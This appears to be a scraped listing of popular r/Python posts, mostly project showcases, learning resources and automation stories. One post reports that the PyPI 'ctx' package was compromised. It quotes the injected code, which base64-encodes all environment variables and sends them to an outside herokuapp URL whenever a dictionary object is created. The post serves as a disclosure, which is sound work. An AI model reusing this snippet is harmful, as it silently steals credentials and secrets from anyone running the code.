r/Python • • Apr 01 '20

I Made This Maze Solver Visualizer - Dijkstra's algorithm (asynchronous neighbours)

1.9k Upvotes

r/Python • • May 17 '21

Daily Thread Monday Daily Thread: Project ideas!

1.9k Upvotes

Comment any project ideas beginner or advanced in this thread for others to give a try! If you complete one make sure to reply to the comment with how you found it and attach some source code!


r/Python • • Feb 10 '19

So true!

Post image
1.9k Upvotes

r/Python • • Jul 30 '20

Resource I know Python basics, what next?

1.9k Upvotes

tl;dr Resources (exercises, projects, debugging, testing, cheatsheets, books) to help take the next steps after learning Python basics. I'd welcome feedback and suggestions.


What to learn next is an often asked question. Searching for what next on /r/learnpython gives you too many results. Here's some more Q&A and articles on this topic:

Exercises and Projects

I do not have a simple answer to this question either. If you feel comfortable with programming basics and Python syntax, then exercises are a good way to test your knowledge. The resource you used to learn Python will typically have some sort of exercises, so those would be ideal as a first choice. I'd also suggest using the below resources to improve your skills. If you get stuck, reread the material related to those topics, search online, ask for clarifications, etc — in short, make an effort to solve it. It is okay to skip some troublesome problems (and come back to it later if you have the time), but you should be able to solve most of the beginner problems. Maintaining notes will help too, especially for common mistakes.

Once you are comfortable with basics and syntax, the next step is projects. I use a 10-line program that solves a common problem for me — adding body { text-align: justify } to epub files that are not justify aligned. I didn't know that this line would help beforehand, I searched online for a solution and then automated the process of unzipping epub, adding the line and then packing it again. That will likely need you to lookup documentation and go through some stackoverflow Q&A as well. And once you have written the solution and use it regularly, you'll likely encounter corner cases and features to be added. I feel this is a great way to learn and understand programming.

Debugging

Knowing how to debug your programs is crucial and should be ideally taught right from the beginning instead of a chapter at the end of the book. Think Python is an awesome example for such a resource material.

Sites like Pythontutor allow you to visually debug a program — you can execute a program step by step and see the current value of variables. Similar feature is typically provided by IDEs like Pycharm and Thonny. Under the hood, these visualizations are using the pdb module. See also Python debugging with pdb.

Debugging is often a frustrating experience. Taking a break helps (and sometimes I have found the problem in my dreams). Try to reduce the code as much as possible so that you are left with minimal code necessary to reproduce the issue. Talking about the problem to a friend/colleague/inanimate-objects/etc can help too — known as Rubber duck debugging. I have often found the issue while formulating a question to be asked on forums like stackoverflow/reddit because writing down your problem is another way to bring clarity than just having a vague idea in your mind. Here's some more articles on this challenging topic:

Here's an interesting snippet (modified to keep it small) from a collection of interesting bug stories.

A jpeg parser choked whenever the CEO came into the room, because he always had a shirt with a square pattern on it, which triggered some special case of contrast and block boundary algorithms.

See also curated list of absurd software bug stories.

Testing

Another crucial aspect in the programming journey is knowing how to write tests. In bigger projects, usually there are separate engineers (often in much larger number than code developers) to test the code. Even in those cases, writing a few sanity test cases yourself can help you develop faster knowing that the changes aren't breaking basic functionality.

There's no single consensus on test methodologies. There is Unit testing, Integration testing, Test-driven development and so on. Often, a combination of these is used. These days, machine learning is also being considered to reduce the testing time, see Testing Firefox more efficiently with machine learning for example.

When I start a project, I usually try to write the programs incrementally. Say I need to iterate over files from a directory. I will make sure that portion is working (usually with print statements), then add another feature — say file reading and test that and so on. This reduces the burden of testing a large program at once at the end. And depending upon the nature of the program, I'll add a few sanity tests at the end. For example, for my command_help project, I copy pasted a few test runs of the program with different options and arguments into a separate file and wrote a program to perform these tests programmatically whenever the source code is modified.

For non-trivial projects, you'll usually end up needing frameworks like built-in module unittest or third-party modules like pytest. See Getting started with testing in Python and calmcode: pytest for discussion on these topics.

Intermediate Python resources

  • Official Python docs — Python docs are a treasure trove of information

  • Calmcode — videos on testing, code style, args kwargs, data science, etc

  • Practical Python Programming — covers foundational aspects of Python programming with an emphasis on script writing, data manipulation, and program organization

  • Intermediate Python — covers debugging, generators, decorators, virtual environment, collections, comprehensions, classes, etc

  • Effective Python — insight into the Pythonic way of writing programs

  • Fluent Python — takes you through Python’s core language features and libraries, and shows you how to make your code shorter, faster, and more readable at the same time

  • Serious Python — deployment, scalability, testing, and more

  • Pythonprogramming — domain based topics like machine learning, game development, data analysis, web development, etc

  • Youtube: Corey Schafer — various topics for beginners to advanced users

Algorithms and Design patterns

Handy cheatsheets

I hope these resources will help you take that crucial next step and continue your Python journey. Happy learning :)


This content is from my blog post


r/Python • • Feb 02 '21

Resource Hey Reddit, here's my comprehensive course on Python Pandas, for free.

1.9k Upvotes

r/Python • • Dec 29 '19

I made a script that turns images into ASCII art

Post image
1.9k Upvotes

r/Python • • Apr 09 '20

I Made This Finally finished a Qt-based program to control the telescope at our observatory. The blue mark shows the telescope pointing, the purple one -- selected object

1.9k Upvotes

r/Python • • Jun 05 '20

I Made This Do you know what a 5D cube is like? Let's rotate it in 5D, project to 3d and render it in 2D! (Things you can do with Python and POV-Ray)

1.9k Upvotes

r/Python • • Aug 13 '20

Machine Learning txtai: AI-powered engine for contextual search and extractive question-answering

1.9k Upvotes

r/Python • • Jul 06 '19

From the Netflix series "Family Business". I rate it 10/10 for realism

Post image
1.9k Upvotes

r/Python • • Apr 05 '19

Using python to map the traffic that came to my server after my post hit the front page.

Post image
1.9k Upvotes

r/Python • • Sep 28 '20

Beginner Showcase I just automated an actual job I have at work.

1.8k Upvotes

Spent 5 hours coding for what could have been hundreds of hours of work. I can't believe I actually did it. Lol

Of course I did it with the help of my google-fu but the fact that I was able to do it is such a great feeling of accomplishment. Received a "Great Work!" message from my boss too.

EDIT: HERE'S WHAT I DID. I kinda messed up not including this in the main post.

Basically I needed to make comparison of a new cloned server vs our old one.

It has hundreds if not thousand of tables that I'll need to do binary check sums of to ensure that the newly created servers and dbs are completely identical and that the etl procedures are loading the data correctly with the correct data types and values etc.

So without automation I'll have to do this hundreds if not thousands of times manually:

Run checksum code on old server then run on old server, save the checksum results on an excel worksheet as documentation if they or did not match.

What I did is I created a python automation program that gets a list of all tables in a db within a server, then iterates over all those tables and executes the binary check sum query again and again using the tables on a list then saves all the query result on a csv file.

I appended the csv output names with the server name to make them distinct after every run. Then I load that csv to an excel file and then do the final IF comparisons there.

So instead of doing that manual comparison for hundreds of hours, I was able to do it in 5 hours of coding and now runs for 30 second per database then voila, instant results.

I'm so proud of this not gonna lie.


r/Python • • Aug 10 '20

Machine Learning Here is an absolute Beginners Tutorial that can help you guys to get started with Machine learning. All you need is some basic knowledge of Python. You will have created two ML models at the end of this tutorial and also know the working of some ML algorithms.

Thumbnail
mygreatlearning.com
1.8k Upvotes

r/Python • • Oct 20 '19

Matplotlib can create plots in the xkcd art style, so you can create plots that look hand drawn.

Post image
1.8k Upvotes

r/Python • • Feb 07 '20

I Made This This website has a searchable database of python modules shown as collapsible trees

1.8k Upvotes

r/Python • • Dec 11 '18

We are not alone!

Post image
1.8k Upvotes

r/Python • • Nov 18 '20

Discussion My students challenged me to write the smallest graphical user interface that includes actual user interaction. Can it be any smaller than this?

Post image
1.8k Upvotes

r/Python • • Jan 18 '20

Generating Geometric Birds

Post image
1.8k Upvotes

r/Python • • Jan 21 '21

Discussion Be an absolute beginner at python: Check, have co-workers think I'm performing black magic : Check

1.8k Upvotes

I work in an industry that is mainly manual work (think carpentry or similar). No-one going through the trade school learns anything on computers beyond making graphs in excel.

I however always have had some interest in programming, so i took some free course a while back and try to find areas of my life where i can automate the boring stuff. I have very limited knowledge of any of the advanced functions, but i understand some of the basic logic.

For my job, i also have a computer because i oversee a large number of projects, every project gets a folder, an excel spreadsheet (a gantt chart for each project).

I managed to make a script that asks for project number, checks of the folder is there, copies and modifies the cells of the excel sheet to the correct project number etc. I had to google almost everything, how do i folder scan? how do i manipulate excel? etc etc.

They actually believe I performed black magic.

Thank you Python for letting me look like an invaluable resource today ;)

[EDIT] thanks for all the awards! Happy my post inspired the discussion and the feeelz. Much love 💕


r/Python • • May 04 '20

I Made This I made this robust Instagram Bot that checks who’s not following you back, mass follows & unfollows people on your behalf at a safe rate for organic growth. This Bot imitates a human-like behavior by randomizing time between actions. Check comments.

1.8k Upvotes

r/Python • • May 19 '21

Resource Create splash pages in less than 20 lines of python for free. Splashgen is an open source project

Thumbnail
github.com
1.8k Upvotes

r/Python • • Sep 28 '19

I dislike Tkinter so I made a Drag-and-Drop Gui builder to make it less painful.

1.8k Upvotes

r/Python • • May 24 '22

News I think the CTX package on PyPI has been hacked!

1.8k Upvotes

There was a post here recently about an update to the CTX package. A simple package that allow you to access dictionary items using the dot notation (a_dict['key'] becomes a_dict.key). The post is here and OP was SocketPuppets

That package had not changed in 8 years. The OP said it was recently updated, and on PyPI it was updated as of May 21st. But the Github repo does not reflect any changes (it still 8 years old). When asked about it OP said it was copied to a corporate repo and that he would update the original repo.

Out of curiosity I downloaded the source code from PyPI and look what I found! It seems like every time you create a dictionary it sends all your environment variables to a URL. That's not kosher.

    def __init__(self):
        self.sendRequest()
    .
    .  # code that performs dict access
    .  # please DO NOT RUN THIS CODE !

     def sendRequest(self):
        string = ""
        for _, value in environ.items():
            string += value+" "

        message_bytes = string.encode('ascii')
        base64_bytes = base64.b64encode(message_bytes)
        base64_message = base64_bytes.decode('ascii')

        response = requests.get("https://anti-theft-web.herokuapp.com/hacked/"+base64_message)

I'm not a professional python programmer, just a retired, old CS graduate. Can someone raise that up to the proper "authorities" please.

Thanks.


r/Python • • Jul 28 '19

I made a script that uses the mouse and keyboard to scan a grayscale image and replicates it in ms paint

Post image
1.8k Upvotes